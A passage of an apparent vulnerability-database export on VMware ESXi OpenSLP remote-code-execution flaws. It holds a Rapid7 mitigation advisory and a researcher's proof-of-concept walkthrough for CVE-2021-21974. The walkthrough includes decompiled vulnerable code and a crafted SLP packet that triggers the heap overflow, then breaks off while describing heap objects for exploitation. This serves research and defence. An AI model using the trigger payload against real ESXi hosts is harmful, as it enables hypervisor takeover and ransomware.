"obtainUserPrivilege": false}, "cvelist": ["CVE-2019-5544", "CVE-2020-3992"], "modified": "2020-11-17T00:00:00", "id": "AKB:99F5AE15-500E-479D-A773-8394A77BE3D9", "href": "https://attackerkb.com/topics/a5SgSHJ1Mx/cve-2020-3992-esxi-openslp-remote-code-execution-vulnerability", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "rapid7blog": [{"lastseen": "2020-11-11T00:46:16", "description": "## What\u2019s up?\n\n\n\nOn November 6, 2020 Microsoft\u2019s Kevin Beaumont [alerted the community](<https://twitter.com/GossiTheDog/status/1324896051128635392>) to evidence of active exploitation attempts of [CVE-2020-3992](<https://attackerkb.com/topics/a5SgSHJ1Mx/cve-2020-3992-esxi-openslp-remote-code-execution-vulnerability>) and/or [CVE-2019-5544](<https://attackerkb.com/topics/nhZc3oqvzj/cve-2019-5544-esxi-openslp-remote-code-execution-vulnerability#vuln-details>), which are remote code execution (RCE) vulnerabilities in VMware ESXi\u2019s service location protocol (SLP) service. VMware had issued a patch for this weakness on October 20, 2020 but said patch failed to effectively handle this vulnerability and an update to the patch was released on November 4, 2020.\n\nAny organization that has not applied this second patch and has VMware ESXi management ports exposed beyond a management network is at risk of having, in Kevin\u2019s words _\u201c[r]ansomware groups \u2026bypass[ing] all Windows OS security, \u2026shutting down VMs and encrypting the VMDK\u2019s directly on hypervisor.\u201d_ effectively making this a potential virtual data center-wide ransomware event.\n\nBefore reading on, Rapid7 advises all VMware ESXi users to ensure they have the second patch applied to their systems as quickly as possible. If at all possible, **please don\u2019t wait for your typical patch cycle to apply these ESXi security updates.** If patching is not possible, the following section references potential workarounds until a patch can be applied. Further analysis is [available in AttackerKB](<https://attackerkb.com/topics/a5SgSHJ1Mx/cve-2020-3992-esxi-openslp-remote-code-execution-vulnerability#rapid7-analysis>).\n\n## ESXi SLP vulnerability information\n\nVMware noted that the following versions are affected:\n\n * ESXi 7.0\n * ESXi 6.7\n * ESXi 6.5\n * VMware Cloud Foundation (ESXi) 4.x\n * VMware Cloud Foundation (ESXi) 3.x\n\nAs noted in their [knowledge base article](<https://kb.vmware.com/s/article/76372>), a workaround is available and requires:\n\nStopping the SLP service via:\n \n \n /etc/init.d/slpd stop\n \n\nafter executing:\n \n \n esxcli system slp stats get\n \n\nto determine if the service is not in use (it must be quiescent to stop). \nThen, run the following two commands to disable the SLP service and ensure the change survives a reboot:\n \n \n esxcli network firewall ruleset set -r CIMSLP -e 0\n chkconfig slpd off\n \n\nThe setting can be validated by running:\n \n \n chkconfig --list | grep slpd\n \n\nand receiving a `slpd off` message.\n\nThe KB article has information on reactivating the service.\n\nYou must either apply the patch or perform the mitigation if your ESXi management network is not on an isolated network segment.\n\n#### Vulnerable to CVE-2020-3992 and CVE-2019-5544? Scan Your Environment Today to Find Out.\n\n[Get Started](<https://www.rapid7.com/trial/insightvm>)", "cvss3": {}, "published": "2020-11-11T00:39:14", "type": "rapid7blog", "title": "VMware ESXi OpenSLP Remote Code Execution Vulnerability (CVE-2020-3992 and CVE-2019-5544): What You Need To Know", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-5544", "CVE-2020-3992"], "modified": "2020-11-11T00:39:14", "id": "RAPID7BLOG:6E67DF0B1D14D61F085804B8451D5D03", "href": "https://blog.rapid7.com/2020/11/11/vmware-esxi-openslp-remote-code-execution-vulnerability-cve-2020-3992-and-cve-2019-5544-what-you-need-to-know/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2022-03-11T19:03:58", "description": "# Scanner for SLP services (CVE-2019-5544 CVE-2020-3992)\nPython ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-01T13:49:26", "type": "githubexploit", "title": "Exploit for Out-of-bounds Write in Vmware Horizon Daas", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-5544", "CVE-2020-3992"], "modified": "2022-03-11T17:55:03", "id": "04E76BCB-9481-5E7D-993C-ECD172CCD765", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-17T04:15:42", "description": "# VMware_ESXI_OpenSLP_PoCs\nCVE-2020-3992...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-02-04T15:15:22", "type": "githubexploit", "title": "Exploit for Out-of-bounds Write in Vmware Horizon Daas", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-5544", "CVE-2020-3992"], "modified": "2022-03-17T02:57:37", "id": "F2A75575-13AE-5E50-8213-4A709BD4B36A", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "seebug": [{"lastseen": "2021-07-24T09:59:48", "description": "# My RCE PoC walkthrough for (CVE-2021\u201321974) VMware **ESXi OpenSLP heap-overflow vulnerability**\n\n\n[](https://images.seebug.org/1621923880306-w331s)\n\n\n\n# Introduction\n\nDuring a recent engagement, I discovered a machine that is running VMware ESXi\n6.7.0. Upon inspecting any known vulnerabilities associated with this version\nof the software, I identified it may be vulnerable to ESXi OpenSLP heap-\noverflow (CVE-2021-21974). Through googling, I found a [blog\npost](https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-\ncve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi) by Lucas Leong\n([@_wmliang_](http://twitter.com/_wmliang_)) of Trend Micro's Zero Day\nInitiative, who is the security researcher that found this bug. Lucas wrote a\nbrief overview on how to exploit the vulnerability but share no reference to a\nPoC. Since I couldn't find any existing PoC on the internet, I thought it\nwould be neat to develop an exploit based on Lucas' approach. Before\nproceeding, I highly encourage fellow readers to review Lucas' blog to get an\noverview of the bug and exploitation strategy from the founder's perspective.\n\n# Setup\n\nTo setup a test environment, I need a vulnerable copy of VMware ESXi for\ntesting and debugging. VMware offers [trial\nversion](https://my.vmware.com/en/web/vmware/evalcenter?p=free-esxi6) of ESXi\nfor download. Setup is straight forward by deploying the image through VMware\nFusion or similar tool. Once installation is completed, I used the web\ninterface to enable SSH. To debug the 'slpd' binary on the server, I used\ngdbserver that comes with the image. To talk to the gdbserver, I used SSH\nlocal port forwarding:\n\n ssh -L 1337:localhost:1337 root@<esxi-ip-address> 22\n\nOn the ESXi server, I attached gdbserver to 'slpd' as follow:\n\n /etc/init.d/slpd restart ; sleep 1 ; gdbserver -- attach localhost:1337 `ps | grep slpd | awk '{print $1}'`\n\nLastly, on my local gdb client, I connected to the gdbserver with the\nfollowing command:\n\n target remote localhost:1337\n\n# Service Location Protocol\n\nThe Service Location Protocol is a service discovery protocol that allows\nconnecting devices to identify services that are available within the local\narea network by querying a directory server. This is similar to a person\nwalking into a shopping center and looking at the directory listing to see\nwhat stores is in the mall. To keep this brief, a device can query about a\nservice and its location by making a ' **service request** ' and specifying\nthe type of service it wants to look up with an URL.\n\nFor example, to look up the VMInfrastructure service from the directory\nserver, the device will make a request with 'service:VMwareInfrastructure' as\nthe URL. The server will respond back with something like\n'service:VMwareInfrastructure://localhost.localdomain'.\n\nA device can also collect additional attributes and meta-data about a service\nby making an ' **attribute request** ' supplying the same URL. Devices that\nwant to be added to the directory can submit a ' **service registration** '.\nThis request will include information such as the IP of the device that is\nmaking the announcement, the type of service, and any meta-data that it wants\nto share. There are more functions the SLP can do, but the last message type I\nam interested in is the ' **directory agent advertisement** ' because this is\nwhere the vulnerability is at. The 'directory agent advertisement' is a\nbroadcast message sent by the server to let devices on the network know who to\nreach out if they wanted to query about a service and its location. To learn\nmore about SLP, please see[this](http://www.openslp.org/doc/html/IntroductionToSLP/) and[that](https://datatracker.ietf.org/doc/html/rfc2608).\n\n# SLP Packet Structure\n\nWhile the layout of the SLP structure will be slightly different between\ndifferent SLP message types, they generally follow a header + body format.\n\nA 'service request' packet looks like this:\n\n```\n 0 1 2 3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Service Location header (function = SrvRqst = 1) |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of <PRList> | <PRList> String \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of <service-type> | <service-type> String \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of <scope-list> | <scope-list> String \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of predicate string | Service Request <predicate> \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of <SLP SPI> string | <SLP SPI> String \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-8.1)\n\n[SLP Client-1] connect\n\nHeader: bytearray(b'\\x02\\x01\\x00\\x00=\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x02en')\nBody: bytearray(b'\\x00\\x00\\x00\\x1cservice:VMwareInfrastructure\\x00\\x07DEFAULT\\x00\\x00\\x00\\x00')\n\nlength of <PRList>: 0x0000\n<PRList> String: b''\nlength of <service-type>: 0x001c\n<service-type> string: b'service:VMwareInfrastructure'\nlength of <scope-list>: 0x0007\n<scope-list> string: b'DEFAULT'\nlength of predicate string: 0x0000\nService Request <predicate>: b''\nlength of <SLP SPI> string: 0x0000\n<SLP SPI> String: b''\n\n[SLP Client-1] service request\n[SLP Client-1] recv: b'\\x02\\x02\\x00\\x00N\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x02en\\x00\\x00\\x00\\x01\\x00\\xff\\xff\\x004service:VMwareInfrastructure://localhost.localdomain\\x00'\n\n```\n\nAn 'attribute request' packet looks like this:\n\n```\n 0 1 2 3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Service Location header (function = AttrRqst = 6) |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of PRList | <PRList> String \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of URL | URL \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of <scope-list> | <scope-list> string \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of <tag-list> string | <tag-list> string \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of <SLP SPI> string | <SLP SPI> string \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-10.3)\n \n[SLP Client-1] connect\n \nHeader: bytearray(b'\\x02\\x06\\x00\\x00=\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x02en')\nBody: bytearray(b'\\x00\\x00\\x00\\x1cservice:VMwareInfrastructure\\x00\\x07DEFAULT\\x00\\x00\\x00\\x00')\n\nlength of PRList: 0x0000\n<PRList> String: b''\nlength of URL: 0x001c\nURL: b'service:VMwareInfrastructure'\nlength of <scope-list>: 0x0007\n<scope-list> string: b'DEFAULT'\nlength of <tag-list> string: 0x0000\n<tag-list> string: b''\nlength of <SLP SPI> string: 0x0000\n<SLP SPI> string: b''\n\n[SLP Client-1] attribute request\n[SLP Client-1] recv: b'\\x02\\x07\\x00\\x00w\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x02en\\x00\\x00\\x00b(product=\"VMware ESXi 6.7.0 build-14320388\"),(hardwareUuid=\"23F14D56-C9F4-64FF-C6CE-8B0364D5B2D9\")\\x00' \n```\n\nA 'service registration' packet looks like this:\n\n```\n 0 1 2 3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Service Location header (function = SrvReg = 3) |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | <URL-Entry> \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of service type string | <service-type> \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of <scope-list> | <scope-list> \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | length of attr-list string | <attr-list> \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |# of AttrAuths |(if present) Attribute Authentication Blocks...\\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-8.3)\n \n URL Entries\n \n 0 1 2 3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Reserved | Lifetime | URL Length |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |URL len, contd.| URL (variable length) \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |# of URL auths | Auth. blocks (if any) \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-4.3)\n \n[SLP Client-1] connect\n\nHeader: bytearray(b'\\x02\\x03\\x00\\x003\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x02en')\nBody: bytearray(b'\\x00\\x00x\\x00\\t127.0.0.1\\x00\\x00\\x0bservice:AAA\\x00\\x07default\\x00\\x03BBB\\x00')\n\n<URL-Entry>: \n\n Reserved: 0x00\n Lifetime: 0x0078\n URL Length: 0x0009\n URL (variable length): b'127.0.0.1'\n # of URL auths: 0x00\n Auth. blocks (if any): b''\n \nlength of service type string: 0x000b\n<service-type>: b'service:AAA'\nlength of <scope-list>: 0x0007\n<scope-list>: b'default'\nlength of attr-list string: 0x0003\n<attr-list>: b'BBB'\n# of AttrAuths: 0x00\n(if present) Attribute Authentication Blocks...: b''\n\n[SLP Client-1] service registration\n[SLP Client-1] recv: b'\\x02\\x05\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x02en\\x00\\x00'\n\n```\n\nLastly, a 'directory agent advertisement' packet looks like this:\n\n```\n 0 1 2 3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Service Location header (function = DAAdvert = 8) |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Error Code | DA Stateless Boot Timestamp |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n |DA Stateless Boot Time,, contd.| Length of URL |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n \\ URL \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Length of <scope-list> | <scope-list> \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Length of <attr-list> | <attr-list> \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | Length of <SLP SPI List> | <SLP SPI List> String \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | # Auth Blocks | Authentication block (if any) \\\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n (diagram from https://datatracker.ietf.org/doc/html/rfc2608#section-8.5)\n\n[SLP Client-1] connect\n\nHeader: bytearray(b'\\x02\\x08\\x00\\x00N\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02en')\nBody: bytearray(b'\\x00\\x00`\\xa4`S\\x00+service:VMwareInfrastructure:/192.168.0.191\\x00\\x03BBB\\x00\\x00\\x00\\x00\\x00\\x00')\n\nError Code: 0x0000\nBoot Timestamp: 0x60a46053\nLength of URL: 0x002b\nURL: b'service:VMwareInfrastructure:/192.168.0.191'\nLength of <scope-list>: 0x0003\n<scope-list>: b'BBB'\nLength of <attr-list>: 0x0000\n<attr-list>: 0x0000\nLength of <SLP SPI List>: 0x0000\n<SLP SPI List> String: b''\n# Auth Blocks: 0x0000\nAuthentication block (if any): b''\n\n[SLP Client-1] directory agent advertisement\n[SLP Client-1] recv: b''\n```\n\n\n\n# **The Bug**\n\nAs noted in Lucas' blog, the bug is in the 'SLPParseSrvURL' function, which\ngets called when a 'directory agent advertisement' message is being process.\n\n```\nundefined4 SLPParseSrvUrl(int param_1,char *param_2,void **param_3)\n\n{\n char cVar1;\n void **__ptr;\n char *pcVar2;\n char *pcVar3;\n void *pvVar4;\n char *pcVar5;\n char *__src;\n char *local_28;\n void **local_24;\n \n if (param_2 == (char *)0x0) {\n return 0x16;\n }\n *param_3 = (void *)0x0;\n __ptr = (void **)calloc(1,param_1 + 0x1d); [1]\n if (__ptr == (void **)0x0) {\n return 0xc;\n }\n pcVar2 = strstr(param_2,\":/\"); [2]\n if (pcVar2 == (char *)0x0) {\n free(__ptr);\n return 0x16;\n }\n pcVar5 = param_2 + param_1;\n memcpy((void *)((int)__ptr + 0x15),param_2,(size_t)(pcVar2 + -(int)param_2)); [3]\n```\n\n\n\nOn line 18, the length of the URL is added with the number 0x1d to form the\nfinal size to 'calloc' from memory. On line 22, the 'strstr' function is\ncalled to seek the position of the substring \":/\" within the URL. On line 28,\nthe content of the URL before the substring \":/\" will be copied into the newly\n'calloced' memory from line 18.\n\nAnother thing to note is that the 'strstr' function will return 0 if the\nsubstring \":/\" does not exists or if the function hits a null character.\n\nI speculated VMware test case only tried 'scopes' with a length size below256. If we look at the following 'directory agent advertisement' layout snippet, we see sample 1's length of 'scopes' includes a null byte. This null byte accidentally acted as the string terminator for 'URL' since it sits right after it. If the length of 'scopes' is above 256, the hex representation of the length will not have a null byte (as in sample 2), and therefore the 'strstr' function will read passed the 'URL' and continue seeking the substring \":/\" in 'scopes'.\n\n```\nSample 1 - won't trigger bug:Body: bytearray(b'\\x00\\x00`\\xa4`S\\x00+service:VMwareInfrastructure:/192.168.0.191\\x00\\x03BBB\\x00\\x00\\x00\\x00\\x00\\x00')Error Code: 0x0000Boot Timestamp: 0x60a46053Length of URL: 0x002bURL: b'service:VMwareInfrastructure:/192.168.0.191'****** Length of <scope-list>: 0x0003 ******<scope-list>: b'BBB'Length of <attr-list>: 0x0000<attr-list>: 0x0000Length of <SLP SPI List>: 0x0000<SLP SPI List> String: b''# Auth Blocks: 0x0000Authentication block (if any): b''Sample 2 - triggers the bug:Body: bytearray(b'\\x00\\x00`\\xa4\\x9a\\x14\\x00\\x18AAAAAAAAAAAAAAAAAAAAAAAA\\x02\\x98BBBBBBBBBBBBBA\\x01:/CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\\x00\\x00\\x00\\x00\\x00\\x00')Error Code: 0x0000Boot Timestamp: 0x60a49a14Length of URL: 0x0018URL: b'AAAAAAAAAAAAAAAAAAAAAAAA'****** Length of <scope-list>: 0x0298 ******<scope-list>: b'BBBBBBBBBBBBBA\\x01:/CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'Length of <attr-list>: 0x0000<attr-list>: 0x0000Length of <SLP SPI List>: 0x0000<SLP SPI List> String: b''# Auth Blocks: 0x0000Authentication block (if any): b''\n```\n\n\n\nTherefore, the 'memcpy' call will lead to a heap overflow because the source\ncontains content from'URL' \\+ part of 'scopes' while the destination only have\nspaces to fit 'URL'.\n\n# SLP Objects\n\nHere I will go over the relevant SLP components as they serve as the building\nblocks for exploitation.\n\n## _SLPDSocket\n\nAll client that connects to the 'slpd' daemon will create a 'slpd-socket'\nobject on the heap. This object contains information on the current state of\nthe connection, such as whether it is in a reading state or writing state.\nOther important information stored in this object includes the client's IP\naddress, the socket file descriptor in-use for the connection, pointers to\n'recv-buffer' and 'send-buffer' for this specific connection, and pointers to\n'slpd-socket' object created from prior and future established connections.\nThe size of this object is fixed at 0xd0, and cannot be changed.\n\n```c\n// https://github.com/openslp-org/openslp/blob/df695199138ce400c7f107804251ccc57a6d5f38/openslp/slpd/slpd_socket.h/** Structure representing a socket */typedef struct _SLPDSocket{ SLPListItem listitem; sockfd_t fd; time_t age; /* in seconds -- in unicast dgram sockets, this also drives the resend logic */ int state; int can_send_mcast; /*Instead of allocating outgoing sockets to for sending multicast messages, slpd uses incoming unicast sockets that were bound to the network interface. Unicast sockets are used because some stacks use the multicast address as the source address if the socket was bound to the multicast address. Since we don't want to send mcast out of all the unicast sockets, this flag is used*/ /* addrs related to the socket */ struct sockaddr_storage localaddr; struct sockaddr_storage peeraddr; struct sockaddr_storage mcastaddr; /* Incoming socket stuff */ SLPBuffer recvbuf; SLPBuffer sendbuf; /* Outgoing socket stuff */ int reconns; /*For stream sockets, this drives reconnect. For unicast dgram sockets, this drives resend*/ SLPList sendlist;#if HAVE_POLL int fdsetnr;#endif} SLPDSocket;\n```\n\n_SLPDSocket structure from OpenSLP source code\n\n\n\n![]()\n\nmemory layout for a _SLPDSocket object\n\n## _SLPBuffer\n\nAll SLP message types received from the server will create at least two\nSLPBuffer objects. One is called 'recv-buffer', which stores the data received\nby the server from the client. Since I can control the size of the data I send\nfrom the client, I can control the size of the 'recv-buffer'. The other\nSLPBuffer object is called 'send-buffer'. This buffer stores the data that\nwill be send from the server to client. The 'send-buffer' have a fixed size of\n0x598 and I cannot control its size. Furthermore, the SLPBuffer have meta-data\nproperties that points to the starting, current, and ending position of said\ndata.\n\n```c\n//https://github.com/openslp-org/openslp/blob/df695199138ce400c7f107804251ccc57a6d5f38/openslp/common/slp_buffer.h/** Buffer object holds SLP messages. */typedef struct _SLPBuffer{ SLPListItem listitem; /*!< @brief Allows SLPBuffers to be linked. */ size_t allocated; /*!< @brief Allocated size of buffer. */ uint8_t * start; /*!< @brief Points to start of space. */ uint8_t * curpos; /*!< @brief @p start < @c @p curpos < @p end */ uint8_t * end; /*!< @brief Points to buffer limit. */} * SLPBuffer;\n```\n\n\n\n_SLPBuffer from OpenSLP source code\n\n\n\n![]()\n\nmemory layout for a _SLPBuffer object\n\n## SLP Socket State\n\nThe SLP Socket State defines the status for a particular connection. The state\nvalue is set in the _SLPSocket object. A connection will either be calling\n'recv' or 'send' depending on the state of the socket.\n\n```c\n//https://github.com/openslp-org/openslp/blob/df695199138ce400c7f107804251ccc57a6d5f38/openslp/slpd/slpd_socket.h\n/* Values representing a type or state of a socket */\n#define SOCKET_PENDING_IO 100\n#define SOCKET_LISTEN 0\n#define SOCKET_CLOSE 1\n#define DATAGRAM_UNICAST 2\n#define DATAGRAM_MULTICAST 3\n#define DATAGRAM_BROADCAST 4\n#define STREAM_CONNECT_IDLE 5\n#define STREAM_CONNECT_BLOCK 6 + SOCKET_PENDING_IO\n#define STREAM_CONNECT_CLOSE 7 + SOCKET_PENDING_IO\n#define STREAM_READ 8 + SOCKET_PENDING_IO\n#define STREAM_READ_FIRST 9 + SOCKET_PENDING_IO\n#define STREAM_WRITE 10 + SOCKET_PENDING_IO\n#define STREAM_WRITE_FIRST 11 + 